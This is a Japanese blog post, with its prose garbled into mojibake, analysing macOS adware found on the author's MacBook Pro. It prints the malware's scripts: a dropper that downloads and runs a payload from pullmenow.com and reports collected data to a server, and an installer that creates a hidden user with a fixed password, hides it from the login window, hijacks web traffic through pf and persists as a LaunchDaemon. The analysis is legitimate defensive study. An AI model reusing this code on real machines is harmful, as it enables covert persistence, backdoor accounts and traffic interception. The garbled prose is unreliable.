MacBookProããã«ã¦ã§ã¢ã«ææããã®ã§è§£æãã¦ã¿ã
â»ãã®è¨äºã«ã¡ããã¡ããåºã¦ããä¸ã®æ¹ã¯ãææã®ãã¨ã§ããè·å ´ã§ã¯ããã¾ããã
ã¿ã¤ãã«ã®éããMacbook Proããã«ã¦ã§ã¢ã£ã½ããã¤(ã©ã¡ããã¨ããã¨ã¢ãã¦ã§ã¢ï¼)ã«ææãã¾ããã(ããã©ãããã®ã§ä¾¿å®ä¸ãã®è¨äºã§ã¯ä»¥ä¸ã¦ã£ã«ã¹ã¨å¼ã³ã¾ãã)
é©å½ã«ããæ¢ãã¦ãªãã§ãããä¼¼ããããªçç¶ã®è¨äºã¨ããè¦ã¤ãããªãã£ãã®ã§ãéãè¾¼ãã¦å°ãã ãåæãã¦ã¿ã¾ããã
ããæè¿ã»ãã¥ãªãã£ä»¥å¤ã®ã¢ã«ãã¤ããç 究ãå¿ããã¦ããã°æ¸ãæéãåããã詳細ãæ¸ãã¦ããæéããªãã®ã§ããããã以ä¸æºãè¾¼ãã§ããã®ã¯é®®åº¦ãè½ã¡ãï¼ãé©å½ã«ã¾ã¨ãã¦è¼ãã¦ããã¾ãã
ãã¨ã詳ããæ¸ãã¨æªç¨ãã奴ãåºã¦ããããããã¨ãã¨ã¨ãããæ¹ããè¨ãããã®ã§ã³ã¼ãçç¥ãã¦ã¾ãã
æææº
ãããæ¬å½ã«èª¿ã¹ãã®è¾ãã¦â¦ æ°åã®éãlogãé¡ã£ããããã®ã§ãããããããªãã£ãã§ãâ¦
çç¶
ææããã¨ã以ä¸ã®ãããªçç¶ãåºã¾ããã
ã¦ã§ããµã¤ããé²è¦§ãã¦ããã¨ãçªç¶æ°ããã¿ããéããã¤ã³ã人ã®ãã£ããã®åç»ãæµãå§ãã¦ããCongraturation! you ...ãã¨ãã£ãäºã話ãã¦100ä¸ãã«ï¼å½é¸ãã¾ãããã£ã¦è¨ã£ã¦ãããããããã¯è¦ã¦ãªãã
ââââçªãã¼ã(身ã«è¦ãã®ãªããã¼ã)ã®è§£æ¾ã許å¯ãã¾ããè¦åãåºã¦ããã
ãã©ã¦ã¶åèµ·åãPCåèµ·åãã¦ãå¤ãããªãã
身ã«è¦ãã®ãªãã¦ã¼ã¶ã大éã«ä½æããã¦ããã
大ä½ãããªæãã§ãã
ã¦ã£ã«ã¹é¢é£ã®ãã¡ã¤ã«
ãã¡ã¤ã«(ãã£ã¬ã¯ããª)ã¯å ¨é¨ã§5ã¤ã»ã©ããã¾ããã ãã®ãã¡éè¦ãªãã®ãé ã«ç´¹ä»ãã¾ãã
/file
å®è¡ãã¡ã¤ã«ã§ãã ããã¤ã大å ã®ã¹ã¯ãªããã§ãã
file\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00000755 \00000000 \00000000 \0000000005152 12723746160 012035\00 0\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00ustar\0000root\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00wheel\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00000000 \00000000 \00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00#!/bin/bash # ioreg -l | grep -e Manufacturer -e 'Vendor Name' updFile="/var/tmp/updText.txt" updFileError="/var/tmp/updTextError.txt" chmod 777 $updFile; chmod 777 $updFileError; ...çç¥... get_pd_client_data="...çç¥.../v/cld?mid=$br_mid&ct=pd" data=$(curl -s "$get_pd_client_data") dc="DP7137" channel=$(echo $dc | tr -d '[[:space:]]' | tr -cd 0-9) pdChannel=${dc:2} echo "DC: $dc" >> $updFile click_id="0" echo "CLICK_ID: $click_id" >> $updFile click_stamp="" echo "CLICK_STAMP: $click_stamp" >> $updFile id=$dc"--"$click_id"___"$click_stamp"___"$br_mid echo "Full ID: $id" >> $updFile domain=""...çç¥..."" ...çç¥... pInj () { tmpfile="/var/tmp/dit8.tgz" filePath="/var/tmp/Injector10052016" /usr/bin/curl -s -L -o $tmpfile "http://pullmenow.com/pd_files/dit8.tgz" sleep 10 tar -xzf $tmpfile -C /var/tmp/ sleep 5 cd $filePath sudo chmod 777 $filePath/setupInjector.sh echo sudo $filePath/setupInjector.sh A$pdChannel $click_id $domain >> $updFile sudo $filePath/setupInjector.sh A$pdChannel $click_id $domain sleep 30 # rm -rf $tmpfile # rm -rf $filePath } shouldPDInj="1" echo $shouldPDInj if [[ "$shouldPDInj" == "1" ]]; then echo "vs_inj_no_mid" >> $updFile echo "Installing pInj with logger" >> $updFile pInj &> $updFileError; sleep 10 echo $(</var/tmp/updTextError.txt) >> $updFile else echo "vs_inj_mid: $mid" >> $updFile fi eventType="Update Script Output" sleep 30 curl --request POST '...çç¥...' --data "vs_mid=$mid" --data "br_mid=$br_mid" --data-urlencode "event_type=$eventType" --data-urlencode "event_data=$(<$updFile)" sleep 5 rm -rf $updFile rm -rf /var/tmp/updText2.txt rm -rf $updFileError\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\0000\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00
ãã¤ããªããæã£ã¦ããã®ã§ãããæåã¨æå¾ã«å¤§éã®NULLããã£ã¦ããã«ã¦ã§ã¢æ¤ç¥åé¿ã®ããã«ã¤ãã¦ãã®ããªã¨ã 大ã¾ããªåãã¨ãã¦ã¯ã
- ææPCã®ãã¼ã¿ãåéãã
- Injectorãã£ã¬ã¯ããªãä½ããsetupinjector.shãå®è¡
- 証æ é æ»
ã§ãã詳ããã¯ã·ã§ã«ã¹ã¯ãªããã追ã£ã¦ãã ãã... ã¡ãªã¿ã«ããã¡ã¤ã³ãwhoisããããããã®whoisprotectã«å¦¨å®³ããã¾ããã ã¾ããipãã°ã°ã£ããã¢ã¡ãªã«ã®æå·ã®ãã®ã§ããã
/Injector10052016
ãã£ã¬ã¯ããªåãæªæ¥ã«ãªã£ã¨ãã
10æ5æ¥ãããªãã5æ10æ¥ã ãéå»ã§ããw
æ§é ã¯ä»¥ä¸ã®ãããªæãã
Injector10052016/ â Injector.app/ com.pref.plist readme.txt setupInjector.sh â Contents/ â Frameworks/ MacOS/ PlugIns/ Resources/ Info.plist PkgInfo ãããããã âã Injector rec_script.sh
éè¦ãªã¨ãã以å¤ã¯çç¥ãã¾ããã
Injector10052016/com.pref.plist
å 容ã¯ä»¥ä¸ã®ããã«ãªã£ã¦ãã¾ããã
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "...çç¥..."> <plist version="1.0"> <dict> <key>UserName</key> <string>root</string> <key>KeepAlive</key> <true/> <key>RunAtLoad</key> <true/> <key>Label</key> <string>def-serv</string> <key>ProgramArguments</key> <array> <string>/etc/change_net_settings.sh</string> </array> </dict> </plist>
Injector10052016/readme.txt
ã¾ããã®readmeãããããï¼ã¨çªã£è¾¼ãã§ãã¾ã£ãã 使ç¨è ã¯è²©å£²ãã¦ããã®ããã®ã¾ã¾è²·ã£ãã®ããªï¼ å 容ã¯ä»¥ä¸ã®ã¨ããã
sudo ./setupInjector.sh [dist_channel] [click_id] [domain]
setupInjector.shãéµãæ¡ã£ã¦ããã§ããã
Injector10052016/setupInjector.sh
ã³ã¼ãã¯ãã¡ãã
#!/bin/sh updf="/var/tmp/updt.txt" # get random names n=$(cat /usr/share/dict/words | wc -l) companyName=$(cat -n /usr/share/dict/words | grep -w $(jot -r 1 1 $n) | cut -f2) echo $companyName # create hidden user HIDDEN_USER=$(cat -n /usr/share/dict/words | grep -w $(jot -r 1 1 $n) | cut -f2) echo $HIDDEN_USER >> $updf userName=$HIDDEN_USER preferencesFileName="com." preferencesFileName+=$companyName preferencesFileName+=".plist" echo $preferencesFileName >> $updf netPreferencesFileName="com." netPreferencesFileName+=$companyName netPreferencesFileName+=".plist" echo $netPreferencesFileName >> $updf settingsFileName=$companyName settingsFileName+=".sh" configFileName=$companyName configFileName+=".conf" settingsFileData="#!/bin/sh\n\ \n\ if [ -a /Library/"$companyName"/Contents/MacOS/"$companyName" ];\n\ then\n\ sleep 10\n\ sudo pfctl -evf /etc/"$configFileName"\n\ sudo -u "$userName" /Library/"$companyName"/Contents/MacOS/"$companyName"\n\ fi\n\ exit 0\n" echo "$settingsFileData" > /etc/$settingsFileName sudo chown root /etc/$settingsFileName sudo chmod 755 /etc/$settingsFileName # copy files sudo cp -r Injector.app $companyName sudo cp -r $companyName /Library sudo rm -r $companyName sudo chmod -R 755 "/Library/"$companyName #change name of the exe sudo mv "/Library/"$companyName"/Contents/MacOS/Injector" "/Library/"$companyName"/Contents/MacOS/"$companyName #configure hidden account HIDDEN_PASS=test HIDDEN_UID=401 HIDDEN_NAME="User "$HIDDEN_USER HIDDEN_HOME="/var/$HIDDEN_USER" sudo dscl . -create /Users/$HIDDEN_USER UniqueID $HIDDEN_UID sudo dscl . -create /Users/$HIDDEN_USER PrimaryGroupID 20 sudo dscl . -create /Users/$HIDDEN_USER NFSHomeDirectory "$HIDDEN_HOME" sudo dscl . -create /Users/$HIDDEN_USER UserShell /bin/bash sudo dscl . -create /Users/$HIDDEN_USER RealName "$HIDDEN_NAME" sudo dscl . -passwd /Users/$HIDDEN_USER $HIDDEN_PASS sudo mkdir "$HIDDEN_HOME" sudo chown -R $HIDDEN_USER "$HIDDEN_HOME" sudo chmod a+rwx "/Library/"$companyName"/Contents/MacOS/"$companyName # Enable the Hide500Users attribute sudo defaults write /Library/Preferences/com.apple.loginwindow Hide500Users -bool YES # read parameters dist_channel_id=$1 machine_id=$(ioreg -rd1 -c IOPlatformExpertDevice | awk '/IOPlatformUUID/ { split($0, line, "\""); printf("%s\n", line[4]); }') click_id=$2 domain=$3 ...çç¥... # write parameters to preferences file sudo defaults write "/Library/Preferences/"$preferencesFileName dist_channel_id "$dist_channel_id" sudo defaults write "/Library/Preferences/"$preferencesFileName machine_id "$machine_id" sudo defaults write "/Library/Preferences/"$preferencesFileName click_id "$click_id" sudo defaults write "/Library/Preferences/"$preferencesFileName domain "$domain" sudo plutil -convert xml1 "/Library/Preferences/"$preferencesFileName # INSTALL SERVER # set redirections activeInterface=$(route get default | sed -n -e 's/^.*interface: //p') if [ -n "$activeInterface" ]; then pfData="rdr pass inet proto tcp from $activeInterface to any port 80 -> 127.0.0.1 port 9882\n\ pass out on $activeInterface route-to lo0 inet proto tcp from $activeInterface to any port 80 keep state\n\ pass out proto tcp all user "$HIDDEN_USER"\n" echo "$pfData" > /etc/$configFileName # run server sudo cp com.pref.plist "/Library/LaunchDaemons/"$netPreferencesFileName sudo defaults write "/Library/LaunchDaemons/"$netPreferencesFileName Label "$netPreferencesFileName" sudo defaults write "/Library/LaunchDaemons/"$netPreferencesFileName ProgramArguments -array '/etc/'$settingsFileName'' sudo chmod 755 "/Library/LaunchDaemons/"$netPreferencesFileName sudo launchctl load -w "/Library/LaunchDaemons/"$netPreferencesFileName else echo "Unable to find active interface" >> $updf exit 1 fi
ããã¤ãæ¬å½ã«ææªãªåãããã¦ãã¾ããã
ãã£ã¨æåãã¾ã¨ããã¨ã
PCå é¨ã®è¾æ¸ããã©ã³ãã ã«åèªãæã£ã¦ãã¦å½ãã©ã«ãåãå½ã¦ã¼ã¶åã§Injectorãå¢æ®ãããæºåãããã
ã¦ã£ã«ã¹è¨ç½®ãã¾ããã
æªããµã¼ãã¼ãã¤ã³ã¹ãã¼ã«ãã¦åãã
æ»äº¡
ãããªæãã§ãã
ã¡ãªã¿ã«ãæåã®ã¨ããã§ç´¹ä»ãããã¼ã9882ã解æ¾ãã¾ããï¼ã¨ããè¦åã¯ããã¤ã®ããã§ãã解æ¾ãã¡ãã ãã§ããï¼
Injector10052016/Injector.app/Contents/MacOS/Injector
ããã¤ã¯ãªãã®ãã¡ã¤ã«ãã¨ããã¨ã
#file Injector Mach-O 64-bit x86_64 executable
ã¨ãããã¨ã§ãå®è¡ãã¡ã¤ã«ã§ããã ãã¡ã¤ã«ãè¼ãã¦ããããã®ãã¨æã£ã¦æ人ã«ç¸è«ããããã¡ã¨è¨ãããã®ã§è¼ãã¾ããããã¿ã¾ããã
ä»ã«ãæ§ã ãªãã¡ã¤ã«ãªã©ãæ£å¨ãã¦ããã®ã§ãããæåã«æ¸ããã¨ãããã¾ãè¼ãã¦ãã¾ãã®ã¯è¯ããªãã¨ä¸ã®æ¹ããè¨ãããã®ã§ãããã¦ããã¾ãã
ã¦ã¼ã¶ã¼ã¨ãã£ã¬ã¯ããªã大éã«é©å½ãªååã§è¤è£½ãã¾ããã®æ¬å½ã«ææªã§ããã
ãã®ã¦ã£ã«ã¹ã«ææãããããããªããªã
åãã¼ãã³ã®ç¡åçå ¥ãã¦ããã®ã§ãããã¤ã§æ¶ããããªï¼ã¨æã£ãããã¼ãã³ããã°ã£ã¦PCè½ã¡ãã®ã§æåã§ã¬ã·ã¬ã·æ¶ãã¦ããã¾ããã
ãªã®ã§ãããã使ã£ã¦ãï¼ãªã©ã¯è¨ããªãã®ã§ãããã¨ããããææãããã¤ã³ã¿ã¼ãããã¨éé¢ãã¦ãã ããã
ããã¦ãã¦ã£ã«ã¹ææããããã¨ã¡ã¼ã«ã¼ãªããã®ãããªä¼æ¥ã«å©ããæ±ãã¦ãã ããã
åã«ç¸è«ãã¦ããã¦ãããã§ãããä¿è¨¼ã¨ãã¯ãã¡ããããã¾ããw
ã§ã¯ã§ã¯ã